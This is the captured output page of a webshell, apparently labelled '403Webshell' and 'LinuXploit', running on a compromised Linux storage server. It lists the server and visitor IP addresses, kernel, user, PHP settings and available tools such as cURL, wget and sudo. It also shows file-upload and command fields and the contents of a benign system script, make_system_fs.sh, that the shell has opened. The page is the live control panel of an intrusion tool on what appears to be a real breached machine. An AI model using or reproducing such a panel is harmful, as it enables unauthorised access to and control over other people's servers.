403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/syno/sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/syno/sbin/make_system_fs.sh
#!/bin/sh

. /usr/syno/share/mkfs.sh

#
# Please do not use this to create systemfs on md0. Normally it should be
# done in installer.sh with additional conditional checks.
#
run()
{
	local dev="$1"; shift
	local output=
	local ret=

	output="$(MakeSystemFS "$dev" 2>&1)"
	ret=$?
	if [ $ret -eq 0 ]; then
		/bin/logger -s -p warning "Success to make fs for $dev"
	else
		/bin/logger -s -p err "Failed to make fs for $dev, message=[$output]"
	fi

	return $ret
}

run "$@"

Youez - 2016 - github.com/yon3zu
LinuXploit